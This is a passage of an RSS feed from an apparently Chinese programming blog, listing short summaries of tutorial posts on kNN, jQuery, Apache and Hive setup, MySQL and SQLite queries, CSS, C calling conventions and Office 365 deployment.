[&#39;A&#39;,&#39;A&#39;,&#39;B&#39;,&#39;B&#39;] return group, labels #================================ kNN算法 ====================================== # kNN对未知类别属性的数据集中的每个点依次执行以下操作： # 计算已知类别数据集中的点与当前点之间的距离； # 按照距离递增次序排序； # 选取与当前点距离最小的k个点； # 确定前k个点所在类别的出现频率； # 返回前k个点出现频率最高的类别作为当前点的预测分类 #============================================================================== def classify0(inX, dataSet, labels,k): dataSetSize = dataSet.</description>
    </item>
    <item>
      <title>机器学习实战—第1章</title>
      <link>https://bchobby.github.io/posts/91f7a5b217947008912613f3e8bede77/</link>
      <pubDate>Wed, 24 May 2017 21:16:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91f7a5b217947008912613f3e8bede77/</guid>
      <description> 1.1 何谓机器学习 1.2 关键术语 特征（属性）：数值型、二值型、枚举类型。特征或属性通常是训练样本的列，它们是独立测量得到的结果，多个特征联系在一起共同组成了一个训练样本分类：是基本的机器学习任务目标变量：分类任务中通常为标称型，回归任务通常为连续型训练样本训练集训练数据、测试数据 1.3 机器学习的主要任务 分类回归 分类和回归属于监督学习，这类算法必须知道预测什么，即目标变量的分类信息。 与监督学习相对应的是无监督学习，此时数据没有类别信息，也不会给定目标值。在无监督学习中，将数据集合分成由类似的对象组成的多个类的过程被称为聚类；将寻找描述数据统计值的过程称之为密度估计。此外，无监督学习还可以减少数据特征的维度，以便使用二维或三维图形更加直观地展示数据信息。&#xA;监督学习算法 k近邻算法朴素贝叶斯算法支持向量机决策树线性回归局部加权线性回归Ridge回归Lasso最小回归系数估计无监督学习算法 K-均值DBSCAN最大期望算法Parzen窗设计 1.4 如何选择合适的算法 选择合适的算法需考虑两点：&#xA;使用机器学习算法的目的，想要算法完成何种任务？ 预测目标变量的值可以选择监督学习算法目标变量的值是离散型，可选择分类算法；连续型目标变量选择回归算法需要分析或收集的数据是什么？ 特征值是离散还是连续型变量特征值中是否存在缺失的值数据中是否存在异常值某个特征发生的频率如何 一般说来，发现最好算法的关键环节是反复试错的迭代过程。&#xA;1.5 开发机器学习应用程序的步骤 收集数据准备输入数据分析输入数据：确保数据集中没有垃圾数据训练算法测试算法使用算法 1.6 Python语言的优势 可执行伪代码（executable pseudo-code）:具有清晰的语法结构Python比较流行：代码范例多Python语言的特色Python语言的缺点：性能不足 1.7 NumPy函数基础 #将NumPy函数库中的所有模块引入当前的命名空间 from numpy import * #生成4*4的随机数组 random.rand(4,4) #将数组转化为矩阵 randMat = mat(random.rand(4,4)) #矩阵求逆.I invRandMat = randMat.I #创建4*4单位矩阵 eye(4) #得到误差矩阵 randMat*invRandMat-eye(4) 1.8 本章小结 </description>
    </item>
    <item>
      <title>使用js动态添加点击事件时，click与onclick的区别</title>
      <link>https://bchobby.github.io/posts/d242c3a056fc925b5ce04e5c1d6ccd2c/</link>
      <pubDate>Wed, 24 May 2017 18:19:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d242c3a056fc925b5ce04e5c1d6ccd2c/</guid>
      <description> 今天在做项目的时候遇到了一个问题，就是通过js动态绑定事件的问题。在网上收索了下，然后自己写了一个个很简单的DOM实验了一下！&#xA;1、jsp代码&#xA;&amp;lt;body&amp;gt; &amp;lt;p&amp;gt;定义第一个添加按钮&amp;lt;/p&amp;gt; &amp;lt;input type=&#34;button&#34; value=&#34;第一个按钮&#34; id=&#34;oneAdd&#34;/&amp;gt; &amp;lt;/br&amp;gt; &amp;lt;/br&amp;gt; &amp;lt;/br&amp;gt; &amp;lt;p&amp;gt;定义一个DIV&amp;lt;/p&amp;gt; &amp;lt;div style=&#34;width: 400px;height: 150px;border:1px solid #000;&#34; id=&#34;div&#34;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; 2、js代码 &amp;lt;script type=&#34;text/javascript&#34; src=&#34;js/jquery-2.1.1.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; $(function(){ //给添加按钮，首先使用click的方式 $(&#34;#oneAdd&#34;).click(function(){ //在div里面添加第二个按钮 console.log(&#34;点击了第一个按钮&#34;) $(&#34;#div&#34;).html(&#34;&amp;lt;input type=&#39;button&#39; value=&#39;第二个按钮&#39; id=&#39;twoAdd&#39; /&amp;gt;&#34;); }) //给第二个按钮一个添加事件，同样是使用click的方式 //第一个方法 /*$(&#34;#twoAdd&#34;).click(function(){ console.log(&#34;点击了第二个按钮&#34;) }) //第二个方法 $(&#34;#twoAdd&#34;).on(&#34;click&#34;,function(){ console.log(&#34;点击了第二个按钮&#34;) })*/ //第三个方法 $(&#34;#div&#34;).on(&#34;click&#34;,&#34;#twoAdd&#34;,function(){ console.log($(this).attr(&#34;type&#34;)) //取消按钮一的点击事件 $(&#34;#oneAdd&#34;).off(&#34;click&#34;); }) }) &amp;lt;/script&amp;gt; 3、结果 点击第一个按钮可以正常触发cilck事件， 当启用方法一时，按钮无法正常触发click事件 当启用方法二时，按钮无法正常触发click事件 当启用方法三时，按钮可以正常触发click事件 4、总结 1、在页面初始化的时候已经给定固定的id时，cilck和onclick都可以正常使用； 2、当页面动态加载一个id时，使用click将失去作用，必须使用onclick才可以正常运行； 3、element.click()这种写法不支持给动态元素或样式绑定事件。支持给动态元素绑定事件的是.live()和.on()。live在jQquery1.7后就不推荐使用了。使用.on()时注意，on前面的元素必须在页面初始化的时候就存在静态页里面，这也是为什么方法而不能正常使用的原因。 5、参考 一、 http://blog.csdn.net/webzhuce/article/details/53981556 二、 http://blog.csdn.net/jalon2015/article/details/46535777 </description>
    </item>
    <item>
      <title>Apache Http 服务器安装教程</title>
      <link>https://bchobby.github.io/posts/70342f790cec0c35979525faad719dca/</link>
      <pubDate>Wed, 24 May 2017 17:52:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70342f790cec0c35979525faad719dca/</guid>
      <description>我在学习网络开发的时候需要从服务器上获得json数据，所以在自己的电脑上安装了一个本地服务器，其中遇到的一些问题，在这里都写出来。&#xA;首先，我们需要访问apache http服务器的下载网页，地址是：http://httpd.apache.org/&#xA;我们点击最新版本2.4.25的Download，进入下一个页面&#xA;点击2.4.25中的Files For Microsoft Windows，进入下一个页面&#xA;这时我们点击第一项ApacheHaus&#xA;一般我们会点击第一项，这时会跳出一个界面，如果缺少运行环境，在这个列表的下面有VC14 Redistributable，点击这个下载运行环境。我们点击Apache 2.4 VC 14进入下一个页面。&#xA;这时注意，我们需要点击上面两个下载项，这两个分别是32位系统和64位系统，这个大家应该可以区别（下面两个可能是库），具体的点击位置在国旗左边的那个图标，点击进入会新跳转页面，就可以下载了。（真是有够曲折的）&#xA;接下来进入安装步骤，将下载下来的压缩包解压，应该是一个名叫Apache24le的文件夹和一个html文件，将Apache24le这个文件夹放到你想要放的地方，记住，这个路径一定不能有中文字符。&#xA;接着使用cmd，进入到这个文件夹的bin目录下，执行httpd -k install 应该显示下载成功。&#xA;正常情况下，我们可以通过bin目录下的ApacheMonitor.exe来启动这个服务，然后桌面任务栏会弹出小图标，点击它，start就可以了。&#xA;最终我们可以通过在浏览器中输入http://localhost或者http://127.0.0.1/来检测是否成功，成功了浏览器就会显示Apache的网页。正常情况下，如果正确启动了apache，访问网页是没有问题的。&#xA;接下来，我们讨论可能出现的问题。&#xA;1.大多数启动不成功的问题在于端口占用，默认的端口是80端口，这个我们可以在cmd中输入这样的命令来检测端口是否被占用 netstat -aon|findstr “80”（共有两个空格）&#xA;我这里显示已经被占用，那么我们需要在配置文件更改端口。&#xA;打开安装目录下的conf文件夹，其中有一个httpd.conf文件，使用记事本方式打开它（不要任意更改其中的任何一个字）。&#xA;在箭头所指的地方，将80改为其他例如8088，8081等等，如果不放心，可以使用cmd检查你所替换的端口号是否被占用。命令上面已提供。&#xA;2.配置文件中的路径&#xA;在配置文件中，是配置了相对应的安装位置的，但是我们需要对其进行更改（如果这个路径不正确，会在系统日志中显示无法找到文件）&#xA;我这里给出配置的位置，配置文件的目录上面已经说过，在conf文件夹下的httpd.conf，在这个文件中寻找ServerRoot，将其更改位你的安装目录&#xA;依照上图，更改你的安装目录就行。&#xA;3.还有一个问题是较少产生的，这里只提一下。我在第一次安装出错的时候，将安装的文件夹整个都删除了，再次安装过后，启动服务器出错，无法找到文件。这里是由于我的服务仍然存在，然而第二次安装的目录和第一次不同，然后，我将安装文件夹再次删除，再按照第一次安装的方法，将Apache24le文件夹放在第一次的那个位置，然后启动服务器就成功了。</description>
    </item>
    <item>
      <title>Jquery ajax的常用方法  前后端</title>
      <link>https://bchobby.github.io/posts/3ac043c905012fa7796c2438d74b51dd/</link>
      <pubDate>Mon, 22 May 2017 20:39:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ac043c905012fa7796c2438d74b51dd/</guid>
      <description>Ajax常用参数 &amp;lt;script type = &#34;text/javascript&#34;&amp;gt; $.ajax({ type: &#39;GET&#39;, // 这是请求的方式 可以是GET方式也可以是POST方式, 默认是GET url: &#39; xxx.php &#39;, // 这是请求的连接地址 一般情况下这个地址是后台给前端的一个连接，直接写就可以 dataType: &#39;json&#39;, //预期后端返回的数据类型。如果不指定，jQuery 将自动根据 HTTP 包 MIME 信息来智能判断 async: true, // 默认为true，默认为true时，所有请求均为异步请求，如果需要发送同步请求，需设置为false, timeout: 8000, // 设置请求超时时间（毫秒）。此设置将覆盖全局设置 data: { // 要传递的参数 &#39;xxx&#39;: &#39;xxx&#39;, ...... }, beforeSend: function(XHR) { // 在发送请求前就开始执行 （一般用来显示loading图） }， success: function(data) { // 发送请求成功后开始执行，data是请求成功后，返回的数据 }, complete: function(XHR, TS) { //当请求完成后开始执行，无论成功或是失败都会执行 （一般用来隐藏loading图） }， error: function(xhr, textStatus, errorThrown) { // 请求失败后就开始执行，请求超时后，在这里执行请求超时后要执行的函数 } }).</description>
    </item>
    <item>
      <title>Hive设置连接用户名和密码</title>
      <link>https://bchobby.github.io/posts/e83b079e40a2b2e6161e34f38fabffa9/</link>
      <pubDate>Mon, 22 May 2017 17:08:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e83b079e40a2b2e6161e34f38fabffa9/</guid>
      <description>Hive设置连接用户名和密码，操作相关步骤如下：&#xA;Hive-site.xml,缺省为NONE。此处改为CUSTOM&#xA;&amp;lt;property&amp;gt; &amp;lt;name&amp;gt;hive.server2.authentication&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;CUSTOM&amp;lt;/value&amp;gt; &amp;lt;description&amp;gt; Expects one of [nosasl, none, ldap, kerberos, pam, custom]. Client authentication types. NONE: no authentication check LDAP: LDAP/AD based authentication KERBEROS: Kerberos/GSSAPI authentication CUSTOM: Custom authentication provider (Use with property hive.server2.custom.authentication.class) PAM: Pluggable authentication module NOSASL: Raw transport &amp;lt;/description&amp;gt; &amp;lt;/property&amp;gt; 配置自定义验证类 hive-site.xml &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;hive.server2.custom.authentication.class&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;org.apache.hadoop.hive.contrib.auth.CustomPasswdAuthenticator&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; 自定义验证类代码： package org.apache.hadoop.hive.contrib.auth; import javax.security.sasl.AuthenticationException; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.hive.conf.HiveConf; import org.slf4j.Logger; public class CustomPasswdAuthenticator implements org.apache.hive.service.auth.PasswdAuthenticationProvider{ private Logger LOG = org.</description>
    </item>
    <item>
      <title>MySQL数据库知识点总结</title>
      <link>https://bchobby.github.io/posts/0c4b3ee16aff32fb879a4647f0b1f329/</link>
      <pubDate>Mon, 22 May 2017 16:49:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c4b3ee16aff32fb879a4647f0b1f329/</guid>
      <description>MySQL属于关系型数据库，关系型数据库是指采用了关系模型来组织数据的数据库，而关系模型就是指二维表格模型，所以，关系型数据库就是由二维表及其之间的联系所组成的一个数据组织。 1.mysql数据库中常用的概念有： （1）字段：表中的一列，（也叫属性）； （2）记录：表中的一行，（也叫元组）； （3）关键字：一组可以唯一标识记录的字段，（能根据它快速分类，检索到目的数据的关键词）；&#xA;（4）域：字段的取值范围，（即某一列的取值限制）； （5）关系：就是数据库的表，（即数据库的表名）； （6）关系模式：定义关系的描述叫关系模式，通常表示为：表名（字段1，字段2，……），（也叫表结构）； （7）事务：是作为单个逻辑单元执行的一系列操作，（也就是一组不可分割的sql语句）； （8）ACID：事务必须具备ACID特性， A ——&amp;gt;Atomic（原子性），事务必须是原子工作单位，对于数据的修改，要么全部执行，要么全部不执行。 C ——&amp;gt;Consistency（一致性），事务在完成时，必须使所用的数据都保持一致状态。 I ——&amp;gt;Isolation（隔离性），由并发事务所作的修改必须与任何其他并发事务所作的修改隔离。事务查看数据时数据所处的状态，要么是另一并发事务修改它之前的状态，要么是另一事务修改它之后的状态。 D ——&amp;gt;Durability（持久性），事务完成后，对系统的影响是永久的。 （数据库采用日志的方式来保证原子性，一致性，持久性，用锁机制来保证隔离性）； （9）索引：索引是对数据库表中一列或多列的值进行排序的一种结构，（类似于书籍的目录）。 2.mysql数据库的瓶颈： （1）高并发读写性能低 由于网站的用户并发性高，往往是每秒上万次的读写请求，虽然mysql等关系型数据库勉强可以应付上万次SQL查询，但硬盘I/O往往无法承担上万次的SQL写数据请求。 （2）海量数据读写效率低 网站每天产生的数据量非常大，但是对于mysql等关系型数据库来说，对海量数据的查询和更改，效率非常低。 （3）可扩展性和可用性低 当数据量剧增的时候，无法简单的添加硬件等方法扩展性能，而是需要停机维护和数据迁移。 3.关系型数据库和非关系型数据库： （补充： 问：什么是非关系型数据库？ 答：非关系型数据库也叫NoSQL，它的产生就是为了解决大规模数据集合多重数据种类带来的挑战，尤其是大数据应用难题。由于不可能用一种数据结构化存储应付所有的新的需求，因此，非关系型数据库严格上不是一种数据库，应该是一种数据结构化存储方法的集合。 ） （1）由于关系型数据库的一致性，使得关系型数据库可以用于所有对一致性有要求的系统中，如银行系统；但是还是由于关系型数据库的一致性，在网页应用中，一致性也不是很重要，相反，对于高并发性要求比较高，因此，非关系型数据库的地位就凸显出来了。&#xA;（2）关系型数据库通常是基于行的形式存储，而关系型数据库包括列式存储、键值对存储、文档存储、图形存储。&#xA;4.数据库的引擎： 数据库引擎是用于存储、处理和保护数据的核心服务。利用数据库引擎可控制访问权限并快速处理事务。 mysql数据库常用的引擎有：innodb和berkleydb（bdb）。&#xA;5.sql语句： （1）添加、删除用户，给权限 添加用户 insert into mysql.user(Host,User,Password) values(&#34;localhost&#34;,&#34;test&#34;,password(&#34;123456&#34;)); 删除用户 delete from user where User=&#39;test&#39; and Host=&#39;localhost&#39;; flush privileges; //刷新系统权限表 给予用户权限 grant all privileges on testdb.* to test@localhost identified by &#39;123456&#39;;//把testdb数据库的所有权限给test flush privileges;//刷新系统权限表 （2）DDL：数据定义语言 Data Definition Language</description>
    </item>
    <item>
      <title>sql查询使用BETWEEN ... AND()</title>
      <link>https://bchobby.github.io/posts/5ee553e53bbfbdb0fa89f65070066047/</link>
      <pubDate>Wed, 17 May 2017 17:36:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ee553e53bbfbdb0fa89f65070066047/</guid>
      <description>这些值可以是数值、文本或者日期，除了日期特殊外，在sqlserver中都是左右包含！&#xA;例：&#xA;select*from 表名 where 字段 between 1 and 10 相当于&amp;gt;=1 &amp;lt;=10&#xA;如果日期是长型 （2016-04-01 18:12:49.923）&#xA;用select*from 表名 where 日期列 between &#39;2017-5-16&#39; and &#39;2017-5-17 &#39; 则只查出 16号（左包含，右不包含），因为数据库默认2017-5-17 00：00:00&#xA;想用左右包含可使用&#xA;select*from 表名 where convert(varchar,日期列,102) between &#39;2017.05.16&#39; and &#39;2017.05.17&#39; （左右包含）</description>
    </item>
    <item>
      <title>如何刷pat（想要在pat甲级拿80到90分）</title>
      <link>https://bchobby.github.io/posts/6be99afe4cb0e0210a21f7d2c3825402/</link>
      <pubDate>Tue, 16 May 2017 15:23:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6be99afe4cb0e0210a21f7d2c3825402/</guid>
      <description> 从去年9月份开始刷pat,第一次刷pat乙级，20分，心拔凉拔凉，但是自己考的分，再低也得咽下去！转眼快一年了，刷pat给我最大的感受就是又爱又恨，我常常疾呼：“我待代码如初恋，代码虐我千百遍！”今天百度一圈，找了些技术大佬的指点，咬着牙，告诉自己，革命尚未成功，自己仍需努力。也愿与同在pat坑里苦苦徘徊的各位小伙伴们一起打个气。&#xA;想要在pat甲级拿80到90分？陈越姥姥给出的建议如下：&#xA;首先有十分钟拿下乙级15分题的本事。&#xA;然后要能在半小时内完成乙级20分题1道。&#xA;接下来训练自己45分钟完成乙级25分题。&#xA;这时你有了2.5小时满乙级的本事！&#xA;下面改做甲级英文题。&#xA;要有用十分钟读完4题的本事。&#xA;20分钟写完20分题并至少过样例。&#xA;1小时内写完2道25分题并至少过样例。&#xA;1小时写完最难题并至少过样例。&#xA;此时你应该有70分左右了，&#xA;最后半小时拚命过90吧！&#xA;最后补充一句：其实乙级60分就有很多企业要了，乙级90分都有接到BAT级企业电话的！所以不是非要甲级才有机会哈～&#xA;遇到不会的题或者交N次都过不了某个测试点，先自己尝试着解决，很长时间没有想法（比如一个小时）后，再去网上搜题解。并且不要直接看代码，看下人家的思路。自己再来做，再做不来就去看代码，也不要直接把代码copy下来改了就交，最好看懂代码自己写。我个人觉得这样才能把别人的东西变成自己的。(MOOC数据结构的题有问题的话，善用讨论区，姥姥都会很耐心地提供帮助&#xA;另外找个大腿抱还是挺重要的（比你强就行），N天AC不了一个题有时候也挺打击人的，问题也许超出了你的知识范围而你并不知道，这个时候就需要一个大腿来节约时间，避免信心受损严重了。&#xA;代码可以背，思维是突击不来的。强烈建议每天都敲一些代码。 举个例子，甲级练习题里的基础数据结构题。 题目有1004，1020，1021，1028，1032，1107等。 涉及到的有队列，栈，链表，二叉树，并查集。 如果你发现自己并不熟悉这些，那么应该花几天的时间学习c++STL相关操作，二叉树前中后遍历。 由于PAT考试不能够携带纸质资料，我假设你会针对结构体使用algorithm头文件的排序，对STL的向量，栈，队列，map，set相关操作和迭代器足够熟悉，否则强烈建议你花上一些时间学习。 然后可以试着做一些模拟题目。 模拟题范围较广，可以锻炼思维，增强码代码能力。 题目有但不限于这些：1005，1006，1008，1009，1011，1015，1024，1035，1042，1043，1048，1065。 你需要学会贪心思想，深度优先搜索和广度优先搜索，进制转换，筛素数，字符串处理，二分查找。 之后的题目涉及到一些算法，更高级一点的数据结构，数学，动态规划知识。 动态规划较为晦涩，初学者需要较多时间才能掌握。 例如1007，最大子串和就是经典的一题。 另外建议你学习LIS最长上升子序列的O(n^2)做法，LCS最长公共子序列，01背包，这些建议去hduoj，讨论版有详细解析。 数据结构方面学习优美的树状数组，AVL。 例如1057需要用到树状数组的快速求和进行二分查找，1066使用AVL进行模拟。 AVL的旋转思想对Splay这样飘逸数据结构的学习是必不可少的。 算法方面在题库里主要涉及到图论算法。 如1003，1046，1106，主要是最短路算法和深度优先搜索的应用。 1053有多叉树的储存和遍历。 图的储存学会使用矩阵和vector两种方式。 最短路算法较多，不建议全都学会，但一定要对其中一种足够熟悉，并且对矩阵图和vector图都会写。 数学方面主要是学会筛素数，求gcd，lcm，O(sqrt(n))的找约数，素因子，会用约数和定理，约数个数定理，c++的话还有大数的模拟。 </description>
    </item>
    <item>
      <title>如何通过手机访问本地编写的html页面</title>
      <link>https://bchobby.github.io/posts/3414b32a04873ea43a57efb6e2e9feb1/</link>
      <pubDate>Sun, 14 May 2017 20:47:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3414b32a04873ea43a57efb6e2e9feb1/</guid>
      <description> 如何通过手机访问本地编写的html页面？ 确保电脑上已经安装node.js 因为咱们需要用到npm来安装服务 安装http-server npm install http-server -g 这里我们全局安装http-server,这个时候启动http-server服务，默认访问的跟目录是public，我们需要修改成本地编写页面的跟目录，我的目录：/Users/barry-yang/Documents/webworkspace&#xA;cd /Users/barry-yang/Documents/webworkspace 然后终端输入http-server&#xA;手机访问 手机地址输入电脑的ip加端口号8080即可访问本地编写的html页面（确保手机跟电脑在同一个局域网下） </description>
    </item>
    <item>
      <title>css使用checkbox来打造switch开关按钮</title>
      <link>https://bchobby.github.io/posts/8ef4863b3253baf0fefdeb6dc0b1de61/</link>
      <pubDate>Sun, 14 May 2017 09:17:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ef4863b3253baf0fefdeb6dc0b1de61/</guid>
      <description>这是基础篇，所以要讲得仔细点，首先，我们有时候会看到这么一个需求：&#xA;这是一个很常见的控件，所以很有必要去掌握他，而我们需要的就是用到最常用的input标签，&#xA;&amp;lt;input type=&#34;checkbox&#34;&amp;gt;&#xA;因为他有“切换”功能，可是又有一个问题，我们怎么把那个带有√号的框框改造成一个带有圆圈的，高大上的方块呢？&#xA;显然不能在他上面动手脚，这时候就要想到另外一个常和input一起使用的label标签了，因为他有“for”属性，可以实现将焦点转移到input标签上，而且他本身就是一个“空白”，可以很容易改造成我们所需要的类型，然后，对于checkbox的选中状态，又是我们事件处理的好方法，所以checkbox是特佳的选择，思路讲完了，希望大家能整理成自己的代码：&#xA;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt;&#xA;&amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;&#xA;&amp;lt;link rel=&#34;stylesheet&#34; href=&#34;css/style_all.css&#34; /&amp;gt;&#xA;&amp;lt;style&amp;gt;&#xA;&amp;lt;/style&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;input type=&#34;checkbox&#34; class=&#34;widget_switch_checkbox&#34; id=&#34;widget_switch_checkbox&#34;&amp;gt;&#xA;&amp;lt;label for=&#34;widget_switch_checkbox&#34; class=&#34;widget_switch_label&#34;&amp;gt;&#xA;&amp;lt;span class=&#34;widget_switch_circle&#34;&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;/label&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;document.querySelector(&#34;input.widget_switch_checkbox&#34;).addEventListener(&#34;click&#34;, function() {&#xA;if(document.querySelector(&#34;input.widget_switch_checkbox&#34;).checked) {&#xA;console.log(new Date().getTime());&#xA;console.log(&#34;选中状态&#34;);&#xA;}&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;css文件如下：&#xA;/*开关按钮:模板&#xA;* * 注意：此处尺寸设置死的&#xA;* * &amp;lt;div id=&#34;container&#34;&amp;gt;&#xA;&amp;lt;input type=&#34;checkbox&#34; class=&#34;widget_switch_checkbox&#34; id=&#34;widget_switch_checkbox&#34;&amp;gt;&#xA;&amp;lt;label for=&#34;widget_switch_checkbox&#34; class=&#34;widget_switch_label&#34;&amp;gt;&#xA;&amp;lt;span class=&#34;widget_switch_circle&#34;&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;/label&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;*/&#xA;/*点击事件则是使用：&#xA;* document.querySelector(&#34;input.widget_switch_checkbox&#34;).addEventListener(&#34;click&#34;, function() {</description>
    </item>
    <item>
      <title>C函数调用过程解析(x86-64 )</title>
      <link>https://bchobby.github.io/posts/a667e3f32f7e8b16add9095ed10af0e8/</link>
      <pubDate>Fri, 12 May 2017 17:41:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a667e3f32f7e8b16add9095ed10af0e8/</guid>
      <description>C函数调用过程解析(x86-64 ) 函数栈保存了一个函数调用所需的维护信息，一般包括： - 函数的参数和返回值 - 临时变量：包括函数的非静态局部变量以及编译器自动生成的其他临时变量 - 保存的上下文：包括在函数调用前后需要保持不变的寄存器&#xA;下图显示了，在Linux操作系统中一个进程的虚拟地址布局（本图来自 《深入理解计算机系统》），从图中可以看出，栈总是向下增长的， 在x86-64下， 栈顶由栈顶寄存器rsp 进行定位。 栈底有基址寄存器rbp进行定位， 也就是说一个函数的整个活动过程由这两个寄存器划定范围。&#xA;1，代码示例： #include &amp;lt;stdio.h&amp;gt; int add(int a, int b) { int c = a + b; return c; } void strcopy(char * dst, char * src){ } int main(int argc, char *argv[]) { int tmp = 10; int tmp1 = 11; char str1[60]; char str2[100]; strcopy(str2, str1); int result = add(2, 3); printf(&#34;result=%d\n&#34;, result); return 0; } 2， 函数调用过程 （x86-64） 编译：gcc -m64 -o test test.</description>
    </item>
    <item>
      <title>SQLite中的内连接简化技巧</title>
      <link>https://bchobby.github.io/posts/27d086e37f2bca63e211ca466246d744/</link>
      <pubDate>Thu, 11 May 2017 15:12:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27d086e37f2bca63e211ca466246d744/</guid>
      <description>2019独角兽企业重金招聘Python工程师标准&amp;gt;&amp;gt;&amp;gt; SQLite中的内连接简化技巧&#xA;在SQLite中，通过内连接可以将两个表通过条件表达式关联起来，构成一个新记录集或视图。形式如下：&#xA;SELECT ... FROM t1 JOIN t2 ON t1.c1=t2.c2&#xA;如果表t1的列c1和表t2的列c2名称相同，则可以使用USING表达式进行简化。形式如下：&#xA;SELECT ... FORM t1 JOIN t2 USING(c1)&#xA;其中，列c1在表t1和t2均存在。&#xA;如果c1是两个表中唯一相同的列，或者使用两个表所有同名列作为条件，则可以使用NATURAL JOIN进行简化。形式如下：&#xA;SELECT ... FROM t1 NATURAL JOIN t2&#xA;这样，SQLite会自动以t1和t2同名的列作为条件来构建内连接。&#xA;转载于:https://my.oschina.net/u/1585857/blog/897533</description>
    </item>
    <item>
      <title>如何使用Office Deployment Tool离线安装office 365</title>
      <link>https://bchobby.github.io/posts/8feb475bbbfcd4d87d0b76f8c05b3518/</link>
      <pubDate>Wed, 10 May 2017 15:30:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8feb475bbbfcd4d87d0b76f8c05b3518/</guid>
      <description>office 365客户都知道，office 365的安装方法与常规的office软件不同。常规的office软件有软件包或光盘，双击安装文件即可启动安装程序，而office 365因为更新速率快，没有对外发布的即点即用的软件包，普通用户只能通过在线安装程序，边下载边安装，以确保用户安装的office程序永远是最新的。&#xA;相信许多用户发现，在线安装的效果受网络环境影响大，网络不稳定或者并发请求数量大的时候，安装速度非常慢，甚至数个小时都无法安装完毕，影响工作效率。&#xA;那么，是否有效率更高的安装方式呢？有，用office deployment tool（简称ODT）来安装office 365。&#xA;Office deployment tool（ODT）下载地址：&#xA;https://www.microsoft.com/en-us/download/details.aspx?id=49117&#xA;使用方法：&#xA;ODT 包含两个文件：setup.exe 和 configuration.xml。若要使用该工具，请编辑xml配置文件以定义你想要使用的选项，然后通过cmd命令行运行 setup.exe。&#xA;Xml中的language：在国内常用zh-cn和en-us，前者代表中文，后者代表英文&#xA;Office 部署工具支持以下 Office 365 Product ID:&#xA;O365ProPlusRetail&#xA;O365Busine***etail&#xA;VisioProRetail&#xA;ProjectProRetail&#xA;SPDRetail (SharePoint 设计器 2013)&#xA;Office 365常见计划对应的产品ID：&#xA;Office 365 计划&#xA;产品 ID&#xA;Office 365 ProPlus&#xA;Office 365 企业版 E3&#xA;O365ProPlusRetail&#xA;Office 365 商业版&#xA;Office 365 商业高级版&#xA;O365Busine***etail&#xA;ODT有两种运行模式：&#xA;1.下载模式：从Office 365的CDN网络下载安装源文件。&#xA;命令行：setup.exe /download configuration.xml&#xA;2.安装模式：在客户端计算机上安装已下载的 Office 365产品和语言包。&#xA;命令行：setup.exe /configure configuration.xml&#xA;从office365 CDN下载office 365源文件 步骤 1：创建配置文件</description>
    </item>
    <item>
      <title>使用threejs点云秀出酷炫的图片效果(二)</title>
      <link>https://bchobby.github.io/posts/c4f201059d45356b09f7066e2436f314/</link>
      <pubDate>Tue, 09 May 2017 16:44:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4f201059d45356b09f7066e2436f314/</guid>
      <description>上一次使用粒子系统，通过改变每一个粒子的位置和颜色构成了一副图片，这次我们使用批量操作粒子移动构成放映机的效果。&#xA;首先需要控制每一个粒子移动，每一个粒子就需要两套位置，第一个位置是起始时粒子所在的位置，第二个位置时结束时粒子所在的位置。为了能使每一个粒子单独进行移动这里还给每个粒子设置了scale速率，当到达1.0时结束移动。&#xA;function createPotCloud() { //创建点云 console.log(imgDate); particles = canvas.width * canvas.height; geometry = new THREE.BufferGeometry(); positions = new Float32Array( particles * 3 ); positions_af = new Float32Array( particles * 3 ); scale = new Float32Array( particles); var colors = new Float32Array( particles * 3 ); for ( var i = 0; i &amp;lt; scale.length; i ++ ) { // positions scale[ i ] = 0; } for ( var i = 0; i &amp;lt; positions.</description>
    </item>
    <item>
      <title>UnityPC端打包参数设置</title>
      <link>https://bchobby.github.io/posts/8622fed5824a2cc3c2f95b5eb5f377da/</link>
      <pubDate>Sun, 07 May 2017 16:24:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8622fed5824a2cc3c2f95b5eb5f377da/</guid>
